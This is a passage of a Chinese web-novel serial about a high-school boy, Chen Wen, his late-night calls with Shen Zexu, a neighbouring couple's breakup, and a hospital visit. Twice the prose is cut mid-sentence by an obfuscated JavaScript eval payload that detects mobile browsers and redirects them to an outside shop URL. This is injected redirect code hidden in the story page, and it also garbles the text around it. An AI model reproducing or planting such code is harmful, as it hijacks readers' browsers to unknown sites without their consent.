陈温轻轻碰了一下嘴角的伤,疼得皱起眉:“下次一定。” “你们年轻人……”白千月突然咳嗽起来,“都爱说下次。” 沈泽许默默递过温水。 “挺晚的了。”他看了眼窗外渐沉的夜色,轻声道:“妈,该睡了。” “嗯。”白千月点点头,又忍不住说:“小温,晚安。”她将手机递还给沈泽许,“你再跟他说说话。” “好。” 电话那头,传来窸窸窣窣的声音,背景音里吵闹的声啊渐渐远去,取而代之的是窗外的夜风声。 “视频通话的图标。”沈泽许说:“在右边。” “啊?”陈温一时没反应过来。 “想你了。”沈泽许又重复说了这白话,声音压得极低。 陈温轻笑一声:“不是阿姨想见我吗?”他下意识低下头,“我现在确实……不太方便视频。” 电话那头沉默了4秒。 沈泽许说:“不舒服?” 陈温的手指僵在半空:沈泽许真像是寄生在陈温肚子里的蛔虫。 两人握着手机,谁都没有再开口。 通话时长一秒一秒地跳动着,听筒里只剩下轻微的电流声和彼此的呼吸。 陈温靠在窗边,他看着月光下自己模糊的倒影;沈泽许站在医院走廊,地板上同样映着他沉默的轮廓。 小黄狗在门外轻轻挠了两下,最终因为打不开门而安静地趴下了。 风扇吹动窗帘,月光消失不见,屋内很暗。 沈泽许盯着外面摇晃的树影,喉结动了动,却终究没再说什么。 通话时长跳到了5分13秒。 陈温躺回床上,不知为何想起了很久以前的事—— 公园的长椅旁,一个身上有些脏兮兮的小男孩蹲在沙坑里,肩膀一抽一抽的。 五岁的他发现了男孩,那人也瞧见了他,正慌忙地用沾满沙子的小手抹脸,却抹得满脸都是沙粒。 脏呼呼的。 陈温跑过去,蹲下身,视线与小男孩齐平。 他笑了笑,探进口袋,摸出一块被体温焐得微微发软的巧克力——这是今早妈妈塞进他的。 陈温放进男孩脏兮兮的掌心,边说:“这个给你,草莓夹心的。别哭了,你怎么了?” 男孩一动不动地盯着他看,却不说话。 但他在陈温持续的叽叽喳喳的劝解,跟“独特”的手法下,男孩红着脸,鼻涕泡“啪”地破了,终于开了口。 他说他很想见妈妈,但是不可以了。 陈温没明白这是什么意思,目光扫过他藏在背后的花——那是廖淑琴精心打理过的茉莉,陈温趁母亲一个不注意,飞快地掐下一枝。 原本另有用处,但现在…… 陈温将花苞别在小男孩耳后:“好了,现在你是整条街最靓的仔,别伤心了,我陪你玩好不好?” 两人对视一眼,莫名戳中笑点。 花苞随着男孩破涕为笑的动作轻轻摇晃,他脸有些红,宛如一只停驻的玉色蝴蝶。 远处传来廖淑琴让他回家的呼唤,陈温转身跑向母亲飘扬的裙摆。 那也是他最后一次见到妈妈穿那条鹅黄色的连衣裙…… 而现在,他蜷缩在老旧的木板床上,月光从关严的窗帘缝漏进来,几乎要照亮整个房间。 嘴角的伤一跳一跳地疼,陈温咬住被角,把呜咽声闷在棉絮里。 电话那头,沈泽许的呼吸声变得极轻:“陈温?” “……嗯?” 陈温有些哽咽,但还算平稳,院子里的龙眼树随风摆动,恰好盖住了他抽鼻子的声音。 记忆里的小男孩哭得那么坦率,鼻涕眼泪糊了满脸;而现在,陈温的泪水渗进嘴角的伤口,咸涩的刺痛让他极为清醒。 “你那边……”沈泽许顿了顿,“有狗叫声。” 小黄狗不知何时趴在窗外,用爪子挠着窗玻璃,发出细细的哼叫。 陈温用袖子狠狠抹了把脸:“……野狗吧。” 小黄:“?” 男生的呼吸渐渐平稳下来,电话那头的沈泽许也默契地保持沉默。 他的眼皮越来越沉,手机还贴在耳边,沈泽许低低的呼吸声像一首温柔的催眠曲。 男生的手指渐渐松开,手机滑落在枕边,却依然保持着通话状态。 被云朵挡住的月光重获新生,嘴角的药膏泛着微亮的光,随着他平稳的呼吸轻轻起伏。 沈泽许听着逐渐均匀的呼吸声,极轻唤了声:“陈温?” 回应他的只有窗外偶尔的虫鸣,和小黄狗锲而不舍地扒窗的窸窣声。 “哭完不能睡觉。”沈泽许轻声说,像在哄一个不肯入睡的孩子。 虽然说他知道那人已经睡着了。 沈泽许没有立刻挂断电话,他走到走廊尽头的窗前,望着和陈温头顶相同的月亮,把手机贴在耳边,仿佛这样就能离那个睡着的少年近一些,更近一些。 天刚蒙蒙亮,院子里的老公鸡就扯着嗓子打鸣,偶尔还有几声鸟叫经过。 陈温皱着眉往被子里缩了缩,脑袋昏沉得像灌了铅。他迷迷糊糊伸手去摸手机,温热的机身吓得他一个激灵——屏幕还亮着,通话时长赫然显示【6小时42分钟】。 “醒了?”沈泽许的声音从听筒里传来,带着晨间特有的沙哑,背景里还有书页翻动的轻响。 陈温瞪大眼睛:“你……怎么没挂电话?”他嗓子哑得自己都吓了一跳。 他也不是要指责对方为什么不挂电话,更多的是好奇心驱使他继续说。 电话那头传来杯盖拧开的声音,沈泽许喝了口水,说:“忘了。” “你没睡?”陈温伸了伸懒腰,发现自己的被角被人仔细掖好过。 他低头看了看自己皱巴巴的睡衣,又摸了摸已经消肿不少的嘴角,余光发现床头柜上多了杯水——底下压着张字条: 「蜂蜜水,醒了喝。」 字迹娟秀,是慕雪的笔迹。 “睡了。”电话那头的人说:“十二点睡的。” “……” 陈温沉默了,他看见白色的枕头上有干涸的泪痕,张了张嘴,还没有说些什么。 电话那头传来护士的惊呼:“沈同学你怎么还在?阿姨的检查单——” 通话戛然而止。 男生呆坐在床上,手指悬在聊天框上方,不知道该不该问一下怎么了。 老公鸡又开始打鸣,这次还扑棱着翅膀飞上了窗台,隔着玻璃“咚咚”地啄着窗框。 手机屏幕一直在显示亮着的状态,冷白的光映在陈温脸上,手机那头终于有了消息。 「大好人:抱歉,晚点再打。」 陈温盯着这行字两秒,不满地抿起嘴来,他敲了两下屏幕: 「好吧。」 他仰头把已经凉透的蜂蜜水一饮而尽,给手机充好电后,出门洗漱。 客厅里,慕雨澄正盘腿坐在沙发上,凌乱的头发像被台风扫过的鸟窝。 手机在他手里发出激烈的咔嗒声,屏幕上的小人正在疯狂射击。 “阿姨呢?”陈温用湿巾擦了擦嘴角的泡沫问道。 慕雨澄头也不抬:“跟奶奶到田里摘菜去了。” “家里冰箱不是还有菜吗?” “啧,”慕雨澄终于舍得从游戏里分给他一个眼神,“我们等会儿就要回广州。” 陈温擦脸的动作顿了一下。 “啊?”他声音还是有些哑,随即又若无其事地点头,“嗯,挺好的。” 慕雨澄已经重新投入游戏:“厨房里有早餐,自己热。” 陈温把脸埋进湿巾里,声音闷闷的:“不想吃。” 慕雨澄闻言翻了个白眼:“不吃拉倒,等你肠子饿断了别找我缝。” 陈温觉得好笑,肠子怎么可能会断? 到了正午,陈温被迫吃下那一顿黑乎乎难以下咽的饭菜后,休息了一会,便准备离开。 陈林峰正弯腰把菜篮塞进后备箱,沾着泥土的菜叶蹭脏了他熨得笔挺的衬衫袖口。 “哎哟,昨晚那事儿啊,”奶奶拔高了嗓门,枯瘦的手心拍在慕雪手背上,“我回去非得好好说说那老不修!” 昨晚恰逢老友邀约,爷爷奶奶出门赴宴去了。 直到今早买菜回来,才从邻居的窃窃私语中拼凑出昨夜的风波。 她挤眉弄眼地凑近慕雪:“要怪就怪雪儿太招人,这细皮嫩肉的……” 慕雪垂着眼睫把菜筐往里推,边道:“妈,别说了。” “奶奶,”陈温说:“您这话说的,合着流氓耍横还成受害者有罪论了?” 他故意把最后五个字咬得极重,伸手接过慕雪手里的菜筐,安抚性地在她胳膊蹭了蹭。 老太太张着嘴像条搁浅的鱼,接着后备箱“砰”地自动落下,截断了这一尴尬的沉默。 慕雨澄把手机往兜里一揣,嗤笑一声:“就是,那老东西看人的眼神跟菜市场挑猪肉似的,恶心死了。” 老太太被堵得脸色发青。 “你们年轻人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171956|196843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现在脾气都这么大……” 她求救般看向陈林峰,却见儿子正盯着远处出神。 “爸?”陈温注意到父亲紧绷的下颌线,试探性地问。 陈林峰猛地回神,钥匙在指间转了个圈:“妈,公司那边还有会,我们先回去了。” 车子缓缓在小区门口停下,轮胎碾过积水。 陈温拎着一小袋菜站在木棉花树下,车窗缓缓降下。 “记得按时吃饭啊,想吃什么就跟元姨说,她最近快忙完了,快回来了。” 慕雪探出半个身子,嘴唇又动了动,似乎还想说什么,最终只是把陈温翘起的衣领抚平。 陈林峰在驾驶座轻咳一声:“要不是没有房间,我们也想多待一会,但现在……” “知道啦。”陈温笑着往后跳了一步,刚好避开车顶滴落的雨水,“路上小心。” 后备箱里还装着沾满泥土的蔬菜,随着引擎发动微微颤动。陈温站在原地,黑色汽车转过街角,尾灯在雨雾中晕开两团模糊的红。 其实客厅的沙发可以当床,其实学校旁边就有快捷酒店。 但这些话在舌尖转了一圈,终究和着雨水咽了回去。 原本的毛毛细雨逐渐下大,雨水顺着发梢滴进他的皮肤,陈温小跑着进了电梯间,潮湿的鞋子在大理石地面留下深色脚印。 电梯门“叮”地一声打开,他猝不及防撞上一具单薄身躯—— “嘶——” 陈温捂住额头,仿佛撞上了晾衣杆,撞得他头晕目眩。 他抬起眼,竟然是许久未见的江夏! 褪色的帆布包带深陷在女生肩头,勒出尖锐的肩胛骨轮廓,她口罩上缘露出两片青黑的阴影,看起来很疲惫的样子。 刚才两人相撞的那一刹那,江夏好像眼前黑了一下,她一手扶着额头,一手扶着墙壁。 “陈温?”江夏这声音轻得像纸灰。 “江夏姐?”陈温伸手去接她摇摇欲坠的帆布包,指尖碰到她手腕时吓了一跳——那里的温度冷得反常,比他还冷。 陈温试探性地问:“你……这是要搬家?” 江夏没回答,伸手抓住对方湿漉漉的袖口,指甲隔着布料掐进陈温皮肤:“正好……”她喘了口气,“我有事跟你说。” “进屋说吧。”陈温慌张地掏出钥匙,门锁转开的瞬间,江夏却往后退了半步。 “不用进去了,”她声音沙哑,“就几句话。” 陈温的手僵在门把上,潮湿的T恤贴在背上。 自从那个傍晚——陈温已经一周没去隔壁蹭饭了。 两人相吻的画面依旧清晰,陈温下意识环顾周围,他并没有另一个人的身影,平常两人几乎是贴在一块的,这不免让人疑惑。 他问道:“陆晚枝呢?” “她……出差了。”江夏说,仿佛这句话已经准备好似的,接着她说:“那天在走廊,你看到了,对吧?” 男生的喉结滚动了一下。雨水顺着他的刘海滴在鼻尖,痒得他想打喷嚏。 “我我不是故意……”陈温到声音越来越小。 女生突然笑了,嘴角扯出一个疲惫的微笑,“吓到你了吧?”她伸手想揉陈温的头发,却在中途又缩回去,“我们这种人……” “没有!没有!”陈温猛地抬头,撞进江夏通红的眼眶,“我就是……”他的手指无意识地抠着门框上的漆皮,眼珠往四周瞟,“就是觉得你们……你们……” 江夏“抢答”道:是不是很恶心?” “不是!”陈温急得抓住江夏的手腕,又像是被火炭烫到似的松开,结结巴巴地开口:“我只是……只是不知道该怎么面对你们……” 江夏的睫毛颤了颤,口罩随着呼吸一起一伏。 远处传来电梯到达的“叮”声,惊醒了凝固的死寂。 “谢谢。”江夏没理由地说了声,语气轻得像片雪花落在掌心。 说完,她就转身就要走,男生却拉住了她。江夏的手腕在陈温掌心里轻颤,突出的骨节硌得他生疼。 “你去哪里?”陈温听见自己的声音在发抖,他觉得不对劲。 这事肯定有什么蹊跷。 江夏的视线在房门、地板和天花板之间游移,像只困在玻璃罩里的蝴蝶。 走廊的声控灯因为太寂静,灭了。 黑暗中,一股温热的液体砸在陈温的手背上,那液体在一瞬间又好像是冷的。 “我……”女生的声音被口罩闷得支离破碎,“我忘告诉你了,我和陆晚枝已经……分手了。” 陈温脑子嗡嗡的,手下意识收紧。 “怎么可能?你们明明……” 那对在走廊里接吻的身影又浮现在眼前,明明那么恩爱啊,为什么会啊…… “是不是有什么误会?”他说。 “没有误会。”江夏摘下口罩,露出干裂的嘴唇,她笑得比哭还难看,“就是……不爱了。” 最后三个字轻得像一声叹息,却重重砸在陈温心尖上。 24. 再也不见 沉默、僵直的气氛开始蔓延。 江夏忽然抬起眼问:“你有喜欢的人吗?” “啊?”陈温瞳孔骤缩,耳尖瞬间烧了起来。他慌乱地低下头,喉结滚动,点头,又摇头,最后盯着自己磨白的鞋尖,仿佛那里藏着正确答案。 “我不知道。” 江夏喃喃自语些什么,但是声音轻得像窗外的雨丝,陈温没有听清,那人便说完,叹了口气。 “我觉得……算了。” “你要走?”陈温生硬地岔开话题,目光落在江夏的帆布包上。 黑色的帆布包有一处张着口,像一只沉默的巨兽,随时可以吞掉她所有的痕迹。 “是……”江夏眨了眨眼,睫毛上挂着水光,不知是雨水还是泪珠。 陈温喉咙发紧,道:“你找好住的地方了?” “嗯。”女生低头拽了拽背包带,指节绷得发白。 “要不等陆晚枝回来再说?”陈温声音不自觉地提高,“如果你走了,她……” “别了。”江夏打断他,轻轻摇了摇头,碎发黏在苍白的脸颊上。 陈温终究没再挽留,只是哑声道:“外面雨很大……我帮你提行李吧。” “没事。”她弯腰拉上帆布包,链条咬合的咔嗒声像一声判决。 转身前,她倏忽掏出手机,说:“对了,认识你这么久了都没有加你,这是联系方式,你加一下吧。” 陈温刷开自己的手机,目光落在江夏亮起的手机壁纸上——那是张泛着青春气息的照片。 阳光猛烈地照着,在阴凉的大树下,穿着高中校服的江夏搂起陆晚枝的脖子,两人对镜头放肆大笑。 陆晚枝的低马尾被风吹起,江夏的虎牙露了出来,背景里还隐约能看到学校熟悉的操场褪色的跑道线。 “这是……”陈温朝屏幕上方点了点,仿佛触碰就会惊扰照片里凝固的时光。 江夏意识到不对劲,锁了屏,黑暗中两人的倒影在手机黑屏上重叠,她别过脸去,说:“点错了,都过去了。” “到了记得发消息。”陈温关心地说:“报个平安。” 虽然说江夏与陆晚枝分手与他无关,而其中的事江夏不想说,他也就没问。两人的事自己解决最好,就是江夏一声不吭的要走,他心里不知道为什么酸酸的。 “好。”江夏道。 联系方式终于添上了,可横亘在中间的沉默却更深了。“我之后还可以找你玩吗?”陈温脱口而出,话一出口就后悔了。 以什么关系?朋友?还是邻居? 可他就是莫名想说这句话,如果不说,好像以后真的见不到面一样。 江夏怔了怔,睫毛轻轻颤了一下,像是被风吹乱的蝶翼。半晌,她轻声说:“可以,别担心。” 像是敷衍,又像是承诺。 “我走了。” 江夏拎起行李,转身走进电梯。她的背影很快被电梯门吞没,连脚步声都被雨声淹没。 陈温站在原地,胸口像是压了一块湿透的棉花,沉甸甸的,又闷得发慌。 他忽然有种强烈的预感。 江夏一定有事瞒着他。 陈温回了房间,换下被雨水洇湿的衣服。 窗外的雨仍在下,不断敲打玻璃,执拗的、不肯停歇的叩问。 客厅很安静——其实一直都这么安静,江夏短暂的把他拉出,而现在,寂静又变回了冷冰冰的外壳。 江夏于他而言,就像是某种温柔的锚点——是可以放心卸下防备倾诉的姐姐。 江夏太像小时候带他过马路的那个姐姐,告诉他要注意安全的那个姐姐,也许是江夏太瘦了,或许她一直都是这么单薄,体型跟那人一点都不像。 试卷摊在书桌上,国庆只放四天假,作业却堆得几乎能淹没桌角。 陈温接了杯水,抿了一口,将全身重力陷进椅子里。 男生转着笔,强迫自己把注意力集中在最后一道压轴题上。手机被他反扣在桌面,屏幕朝下,像是刻意避开某种可能的打扰。 雨声沙沙,像某种白噪音,将杂念一点点过滤。笔尖在纸上划出清晰的轨迹,数字与符号串联成确定的答案。 当他终于写下最后一个解,那种解题的快感如潮水漫上来,暂时冲淡了江夏离开带来的空落。 ——他害怕离别。 像妈妈离开时那样,悄无声息,再也不会回来。 病房里弥漫着难闻的气味,惨白的灯光打在男人疲惫的脸上。 “夫人体质本就虚弱,”医生推了推金丝眼镜,病历本在手中轻轻翻动,“现在更容易出现胃痛等症状。当然……”他顿了顿,声音压低了些,“也可能是心理因素导致的躯体化反应。” 一张对折的A4纸被推到男人的面前。 “这是我整理的一些……”李医生的喉结不明显地滚动了一下,“比较专业的心理医生资料。” 沈明远面无表情地接过,指节泛白。他的目光掠过表格,又飘向病房内,最终落在自己鞋尖上。 “您也别太……”李医生话到嘴边又咽了回去。 作为医生,他本不该多管闲事。 但这位白女士实在特殊——短短半年间,胃出血的诊断书又接踵而至。 李医生偷偷打量着眼前的男人。 西装革履,举止得体,怎么看都不像会对妻子苛刻的人,也不像是家暴的人。 那白女士为什么要跟他说那些事呢? “没事,是我想多了。”李医生摇摇头,“没什么事的话,我先走了。” “嗯好,谢谢李医生。”男人说。 “客气了。” 病房里只剩下监护仪规律的滴答声。 沈明远站在床边,目光描摹着白千月苍白的睡颜。她的眉头紧锁,即使在梦里也不得安宁,睫毛不时轻颤,像是被困在某个醒不来的梦魇里。 他伸手想抚平她眉间的褶皱,却在即将触碰时收回了手。 ——是不是自己逼得太紧了? ——是不是从一开始就错了? 暮色沉沉压下来。 沈明远颓然地跌坐在椅子上,手指无力地深深插入发间。一声几不可闻的叹息消融在消毒水的气味里,像他那些说不出口的懊悔。 陈温睁开惺忪的睡眼,揉了揉酸胀的眼角。 暮色透过窗帘缝隙渗进来,给房间镀上一层朦胧的橘色。 等一下,他竟听着雨声写作业睡着了! 脖颈因趴睡的姿势隐隐发酸,陈温伸懒腰时,一件外套从肩头滑落。 奇怪,自己睡前没披外套啊。 顿时,一阵诱人的香气钻入鼻腔。是辣椒爆炒的焦香混合着肉脂的醇厚,浓郁得仿佛就在—— 陈温猛地掀开外套,赤着脚冲向厨房。 推拉门后,元姨正将一勺红亮油润的辣椒炒肉盛进瓷盘。 “元姨!”他兴奋地喊到,声音里带着刚睡醒的沙哑。 “醒得倒是时候。”元姨露出点微笑,头也不抬,锅铲在铁锅里翻炒。 “您怎么突然回来了?”陈温凑近灶台,趁她不备捻了块肉丢进嘴里。 滚烫的肉汁在舌尖炸开,辣味后知后觉地漫上来,激得他眼眶发热。 “怎么,不欢迎?”元姨瞧见陈温的动作作势要打他偷吃的手,“哎!手脏。” “不敢不敢。”陈温缩着脖子笑,“太香了,老远就闻到了。” 元姨无奈地摇头,眼角的皱纹舒展开来。 “小馋猫,鼻子可真灵。” 陈温一边洗手一边问:“这次回老家还顺利吗?” 元姨翻炒的动作霍地顿住。 铁锅里的油星噼啪作响,她的侧脸在油烟中晦暗不明。 “说到这个我就一肚子火,”她放下锅铲,把火调小,“家里那混小子谈了个男朋友。” 陈温又要偷吃的手停在半空,呆呆地“啊”了一声。 “你没听错,他谈了个男的。”元姨盖上锅盖,拿着抹布在灶台上反复擦拭同一个位置。 “那……您是怎么想的?”陈温听见自己的声音有些发紧,谈的又不是他,他也不明白自己为什么这么紧张——像是等待审判的囚徒,又像是站在悬崖边试探着迈出一步的人。 心跳声在耳膜上咚咚作响,他甚至能尝到喉咙里泛起的淡淡铁锈味。 “谈都谈了,还不带回来给我看看。”元姨关掉火,水汽从锅里蒸腾而起,模糊了她的表情,“前几天可算是把人带回来了,那孩子文文静静的,倒是我家那个混账东西配不上人家。” 她叹了口气,将炒好的青菜装盘:“算了,总比他一个人强。你是没看见,那孩子连他衬衫扣子掉了都记得补,太乖了。” 闻言,陈温像放松下来,他朝元姨笑了笑:“这样啊。” “可以了。”元姨把菜端了出来。 陈温见女人没有留下来的意思,便说:“您不留下来一起吃吗?” “不了,今天就是回来帮忙收拾收拾,顺便给你做顿饭。”她解下围裙,搭在椅背上,“家里还有事,先走了。” 陈温点点头:“谢谢元姨,路上小心。” “记得吃完啊。” “保证完成任务!” 门轻轻合上,屋里又静了下来。 陈温洗完碗筷,刚坐下就发现手机不在自己身边。他冲回房间找,手机静静躺在书桌上,他边回客厅边回复未读消息。 「林宇舟:数学作业写完了吗?答案借我参考参考!」 「叶萧云:看我的新皮肤!帅不帅?」 「叶萧云:(图片)」 …… 他吃完两口,买一条信息都回复。 滑到最后一条—— 「大好人:明天过来吗?」 他心跳漏了一拍,筷子差点没拿稳,手指飞快敲字: 「可以啊。」 发完才反应过来,赶紧补了一句:「去哪?」 对方秒回:「医院,我妈想看看你。」 陈温想起昨天的约定: 「嗯嗯。」 「大好人:在干嘛?」 「温馨提示:吃饭。」 「大好人:那我不打扰了。」 陈温不知为何不想结束对话,他咬着筷子尖,犹豫两秒,又发了一条:「再聊聊?」 「大好人:聊什么?」 「温馨提示:你吃饭了吗?」 「大好人:吃过了,今晚的宫保鸡丁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171957|196843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不错,还吃了西瓜。」 「温馨提示:听得我也想吃。」 「(流口水.jpg)」 「大好人:有机会做给你吃。」 陈温盯着这行字,耳根一热,差点把饭喂到脸颊上。 他慢吞吞回了个: 「好。」 而后,他意识到这样一边吃饭,一边回消息的样子,太狼狈,莫名想笑。 只好依依不舍地结束对话: 「晚点再聊。」 「大好人:好。」 屏幕暗下去,陈温低头扒饭,却觉得今天的菜,似比刚才更香了。 “陈温!陈温!你在家吗?” 急促的敲门声像鼓点般砸在陈温心尖上,他刚吃饱,正洗着腕。 男生急急忙忙地擦手,打开房门。 陆晚枝正撑着膝盖大口喘气,她纯白的衣领歪斜着,头发有些凌乱,胸口剧烈起伏。 女生今天戴了副金丝眼镜,镜框的金属边在灯光下泛着清冷的光,将陆晚枝那双总是锐利的眼睛柔和地框住。 “你看到江夏了吗?”女生抬头,陈温注意到她眼睑下方也浮着两片青黑。 他皱眉道:“你们不是……”分手的信息在舌尖转了个弯,“这个啊,下午我确实看到她了。她拿着帆布包出门了,怎么了?” 陆晚枝的手指攥住门框,指节泛白。 “不可能不可能……骗我的吧。”她声音发颤,像是在自言自语,“明明上周还……为什么……” 她霍地掏出手机,指纹识别失败三次,最终输密码时手指都在发抖。 屏幕上是与江夏的聊天界面——最后一条信息前赫然显示着红色感叹号,上一条则是语音通话,时间在半个小时前。 “我最近出差,太忙了,没空陪她过生日,她有些闹脾气了。”陆晚枝自顾自地说,有些喘不上气的样子。 陈温迅速调整呼吸,双手按住陆晚枝颤抖的肩膀:“先别慌,深呼吸——对,慢慢说。” 他的声音像一剂镇定剂,让陆晚枝急促的喘息渐渐平复,她道:“我今早刚下高铁,就收到她的分手电话。” “啊?”陈温发现不对劲起来,跟他的猜想差不多,江夏果然有隐瞒陆晚枝。 “你去她公司看过了吗?”陈温问。 陆晚枝点点头:“去过了,她同事说,她前几周就辞职了。” “我发信息给她看看。” 陈温快步回屋,点开与江夏的聊天记录,但发出的消息仿佛石沉大海。 他又按下语音通话键,机械女声的“您拨打的用户已关机”在免提状态下格外刺耳。 陆晚枝忽地踉跄了一下,后背撞上玄关的穿衣镜,镜中的她脸色惨白。 “都怪我最近……都怪我……” “不是的,是我该早点告诉你。”陈温攥紧手机,边框硌得掌心生疼,喉间涌上苦涩。 他应该坚持自己觉得不对劲的感觉。 这一刻的陆晚枝不再是那个雷厉风行的程序员,只是一个为爱慌张的普通人。 “不是你的错,况且你都没有我联系方式。”女生说。 “可是我……”陈温欲言又止。 “你那天看到了吧。”陆晚枝转移了话题,视线从天花板移到他脸上,没什么表情。 不是疑问句。 江夏也问过同样的问题,在此刻像一场荒诞的轮回。 “本来……”陆晚枝摘下眼镜,用袖口狠狠擦了擦镜片,“我们打算找你谈谈的,怕你觉得……”后半句融化在一声哽咽里。 “现在不是说这些的时候,我们先去附近找找,说不定能她在周围的酒店。”陈温准备换鞋,却被陆晚枝打断。 “算了。”她又重复了一遍,“算了,如果这是她想要的,我放她走。” 她知道江夏是个怎样的人。 她丢掉的东西,她推开的人,从没见她回头找过。而她也可以是其中之一。 女生低着头,看不清是什么表情。 “她要是回你消息……”她转过身,声音哽了一下,“记得告诉我。”她顿了顿,“算了没事。” 陈温换鞋的手慢慢垂下来,他看见陆晚枝的手指在门把上收紧又松开,骨节泛白的样子和江夏拿帆布包时如出一辙。 “至少……”陈温的话卡在喉咙里。 至少该问个明白。 可陆晚枝已经进屋了,门关上的瞬间,陈温的手机再次亮起。他按下重拨键,听筒里传来的依然是冰冷的机械女声。 这太荒谬了——他盯着聊天记录里一长串消息——现实又不是什么狗血偶像剧,哪有人会毫无预兆地消失。 陈温好像还能看见江夏说“不爱了”时的表情,那种决绝背后,或许藏着他们都读不懂的暗语。 或许他真的不懂爱。 不懂为什么陆晚枝明明很担心江夏,却选择放手;不懂江夏明明把陆晚枝的照片设为屏保,却能狠心拉黑她的联系方式。 所有无疾而终的感情,开始得猝不及防,结束得莫名其妙。 ——喜欢为什么要放手? ——不能走到最后为什么要在一起? 这些问题在胸腔里横冲直撞,却找不到出口。 25. 谁在哭 走廊尽头的房门被推开,阳光正巧穿过百叶窗,将女人的侧脸切割成明暗交错的拼图。 白千月倚在病床上,在纸画着什么,闻声抬起头,道:“小温来啦。” 两个黑衣私保检查水果袋时,塑料摩擦声惊飞了窗台上的麻雀。 “嗯,阿姨早。”陈温弯腰放下果篮,几颗橙子从袋口滚出来,清甜的果香立刻冲淡了房间的苦涩,他状似无意地问:“沈泽许呢?” 白千月用头点了点一旁的椅子,说:“方才还在这儿呢。刚刚出去了,说是要给我买点吃的,但他的手机和钱包都在桌子上呢。” “啊?”陈温直起身体,瞟了一眼桌面上的手机,“他往哪边走了?我出去找找看。” 白千月摇摇头:“没注意到。” “那我去周围转转,看看他在不在附近。找到了,我把人带过来。”男生出门时不小心撞到输液架,连忙扶稳。 陈温三步并作两步往外走,他出来的时候,顺便带走了沈泽许的手机。 他握在胸前,机身还带着余温,锁屏突然亮起——【沈董】的备注刺目地跳出来: 「听说,你最近带了个人过来,是同学?」 更让陈温呼吸停滞的是壁纸:昏暗的医院走廊,长椅上的男孩捂着脸,蹲坐在墙一边,指缝间隐约可见泛红的眼尾。 陈温心头一跳,这医院环境莫名熟悉,却怎么也想不起在哪见过。 这是谁? 小时候的沈泽许吗? “唔!” 陈温看得太入迷,结结实实撞进一个带着香气的怀抱,额头磕到对方锁骨时发出令人牙酸的闷响,沈泽许的手机差点脱手。 “对不起对不起!我不是故意的。”陈温慌忙把手机藏到身后,抬头时正巧对上沈泽许微微放大的眼睛。 男生的耳尖泛着不自然的红晕,刚才相撞时陈温甚至能感受到他颈侧传来的热度。 球鞋蹭在地板发出熟悉的“吱吱”轻响。 “哇,陈温好巧啊!” 男生惊讶地说:“林宇舟!?” 林宇舟站在沈泽许一侧,怀里抱着个牛皮纸,本子露出一角,隐约可见“李清依”三个娟秀的字迹。 “你怎么也在这?” “这话该我问吧?” 陈温的视线在两人之间来回扫视。 “唉……说来话长。”林宇舟叹息一声,道:“那我就长话短说,就是李清依她爸腰椎间盘突出急性发作,住院观察几周。”他指了指楼上,“我过来跑个腿,送送资料。” 林宇舟看了眼手上的表,他不自在地清了清嗓子,本子在他手里转了个方向。 “那个我先去给清依送资料了,晚点再聊啊,拜拜。” 临走时他外套带起的风掀起陈温的衣角,露出腰间一小截白皙的皮肤。 沈泽许的目光在那处停留了0.1秒,随即像被烫到般移开。 走廊重归安静,只剩下中央空调出风口的嗡嗡声。 “喏,你的手机。”陈温递出那个“烫手山芋”,“我什么也没看。”他飞快补充,眼神飘忽。 沈泽许接过手机,没什么表情地说:“没事,你想看就看。” “啊?”陈温瞪大眼睛,“这、这不太好吧?” 沈泽许却道:“我的密码是20……” “停停停!”陈温急得耳尖都红了,猛地捂住对方的嘴,掌心传来对方急促的呼吸。 “谁要看你手机啊!况且我没有随便翻动别人手机的癖好!” 沈泽许被捂住嘴,他眨了眨眼,睫毛扫在陈温的手上,痒痒的。 “嗯?”他乖巧地点头,闷闷说了一句:“好吧。” 陈温松开手,心想这人怎么跟撒娇似的。 “对了,阿姨说你去买吃去了,东西呢?” “我吃了。” “……”陈温一脸无语,“认真点。” 沈泽许吸了吸鼻子:“让私保去买了,应该快到了。” “哦~”陈温拖长音调,眯起眼睛,“那走吧。” “嗯。”沈泽许又吸了吸鼻子,这个孩子气的动作和他冷峻的外表形成奇妙的反差。 陈温敏锐地察觉到异样:“你……感冒了?” “好像是。” “我摸摸?”陈温抬起手心,朝沈泽许额头探去。 “啊?”沈泽许下意识躲开,耳根泛红。 陈温觉得可能是用手心不太合适,他鬼使神差地换成手背,这个姿势看起来会更……专业? 语气也严厉几分:“我就摸一下!” 沈泽许的反应出乎意料。 他先是浑身僵硬,随后慢慢低下头,主动把发烫的额头凑过来。 这个俯身的动作像只收起尖刺的刺猬。 陈温的手背贴上那片滚烫时,沈泽许的睫毛轻轻颤了颤。“确实有点发烧……”他嘀咕着,莫名觉得沈泽许这副乖巧低头的样子,简直像只等待主人抚摸的大型犬。 “阿姨知道了吗?” “还不知道。” 陈温收回手,跟盘问“患者”一样,说:“吃药了没?” “没。”沈泽许别过脸,声音依旧闷闷的,还带着鼻音。 “为什么不吃?没有感冒药吗?” “不是。” “那是什么?”陈温想不通。 “太苦了。” 陈温差点气笑:“沈泽许,你是小孩子吗?” 那人垂起眼睫,抿了抿唇,半晌才低声回答:“可能是。” 这回答让陈温一时语塞。 眼前的画面,让他想起那张锁屏照片里捂着眼睛哭的男孩。 就是他本人吧! 